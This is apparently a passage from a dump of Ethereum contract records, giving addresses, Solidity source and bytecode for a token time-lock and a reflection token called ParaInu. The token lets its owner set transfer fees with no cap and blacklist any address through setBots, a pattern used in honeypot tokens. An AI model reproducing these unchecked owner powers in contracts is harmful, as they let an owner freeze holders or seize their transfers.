fffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058208e38e04ebd72a28a5bf65c7495ab15ec607c47d2256c15fd93f2f27b35cb61720029
[ 2 ]
0xf2ed9ae7e298898f61ec5d816b4921502ae028fd
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30499200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x08E868C2692343D0159502D5A5Aab19C8AAd8c01; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582041e37acc6a44ab1526c1c63046a38c6e6e8bb1daa5db290c6ea329e84e0f61530029
[ 16, 7 ]
0xf2ee18d33bF5f9cd1ccb917c1CcECD8908231247
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ParaInuToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private bots; address public _charityWallet = 0x9f436870fBDBeAA244abcd149B5dd39A5740d29f; address public _devWallet = 0x7e19e21458f247BBcfcbd17173431e429af25EDD; address public _marketingWallet = 0xC5229A3F54AAF85c17Ef156A4A56ebB513579754; address public _lpWallet = 0xda8D040eDE6B7AF5402DdD6E39D833852A56f54F; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000000000 * 10 ** 9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private _name = 'ParaInu Token'; string private _symbol = 'PARAINU'; uint8 private _decimals = 9; uint256 public _taxFee = 0; uint256 public _burnFee = 0; uint256 public _charityFee = 0; uint256 public _devFee = 0; uint256 public _marketingFee = 0; uint256 public _lpFee = 0; uint256 public _maxTransferRate = 5; // over 1e4 constructor() public { //_isExcluded[owner()] = true; _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner { require( account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "We can not exclude Uniswap router." ); require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[sender] && !bots[recipient]); if (sender != owner() && recipient != owner()) require( amount <= _maxTransferRate.mul(_tTotal).div(1000), "Transfer amount exceeds the maxTxAmount." ); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeExtraFee(tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeExtraFee(tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeExtraFee(tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeExtraFee(tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tExtra) = _getTValues( tAmount, _taxFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tExtra, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount, uint256 taxFee) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tExtra = tAmount.mul(_burnFee.add(_charityFee).add(_devFee).add(_marketingFee).add(_lpFee)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tExtra); return (tTransferAmount, tFee, tExtra); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tExtra, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rExtra = tExtra.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rExtra); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeExtraFee(uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 tCharity = tAmount.mul(_charityFee).div(100); uint256 tDev = tAmount.mul(_devFee).div(100); uint256 tMarketing = tAmount.mul(_marketingFee).div(100); uint256 tLp = tAmount.mul(_lpFee).div(100); uint256 rCharity = tCharity.mul(currentRate); uint256 rDev = tDev.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rLp = tLp.mul(currentRate); _rOwned[_charityWallet] = _rOwned[_charityWallet].add(rCharity); if(_isExcluded[_charityWallet]) _tOwned[_charityWallet] = _tOwned[_charityWallet].add(tCharity); _rOwned[_devWallet] = _rOwned[_devWallet].add(rDev); if(_isExcluded[_devWallet]) _tOwned[_devWallet] = _tOwned[_devWallet].add(tDev); _rOwned[_marketingWallet] = _rOwned[_marketingWallet].add(rMarketing); if(_isExcluded[_marketingWallet]) _tOwned[_marketingWallet] = _tOwned[_marketingWallet].add(tMarketing); _rOwned[_lpWallet] = _rOwned[_lpWallet].add(rLp); if(_isExcluded[_lpWallet]) _tOwned[_lpWallet] = _tOwned[_lpWallet].add(tLp); } function _setTaxFee(uint256 taxFee) external onlyOwner { _taxFee = taxFee; } function _setBurnFee(uint256 burnFee) external onlyOwner { _burnFee = burnFee; } function _setCharityFee(uint256 charityFee) external onlyOwner { _charityFee = charityFee; } function _setDevFee(uint256 devFee) external onlyOwner { _devFee = devFee; } function _setMarketingFee(uint256 marketingFee) external onlyOwner { _marketingFee = marketingFee; } function _setLpFee(uint256 lpFee) external onlyOwner { _lpFee = lpFee; } function _setMaxTransferRate(uint256 maxTransferRate) external onlyOwner { _maxTransferRate = maxTransferRate; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } }
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c80635880b87311610146578063a9059cbb116100c3578063dd62ed3e11610087578063dd62ed3e146106ca578063f2cc0c18146106f8578063f2fde38b1461071e578063f5dec2b114610744578063f84354f11461074c578063f92beaad146107725761025e565b8063a9059cbb146105c5578063aa45026b146105f1578063b515566a146105f9578063c0b0fda21461069c578063cba0e996146106a45761025e565b806395d89b411161010a57806395d89b411461054f578063962dfc7514610557578063a24a8d0f1461055f578063a457c2d71461057c578063a52fe9bb146105a85761025e565b80635880b873146104df57806359f1707d146104fc57806370a0823114610519578063715018a61461053f5780638da5cb5b146105475761025e565b80632d838119116101df5780633b6b1961116101a35780633b6b1961146104685780633bd5d173146104855780633c9f861d146104a257806340f8007a146104aa57806343a18909146104b25780634549b039146104ba5761025e565b80632d838119146103f15780632f7c0f7b1461040e578063313ce5671461041657806339509351146104345780633b124fe7146104605761025e565b806315c93a7d1161022657806315c93a7d1461037d57806318160ddd1461038557806322976e0d1461038d57806323b872dd14610395578063273123b7146103cb5761025e565b8063018f43d61461026357806306fdde0314610282578063095ea7b3146102ff57806311a63e171461033f57806313114a9d14610363575b600080fd5b6102806004803603602081101561027957600080fd5b503561078f565b005b61028a6107ec565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102c4578181015183820152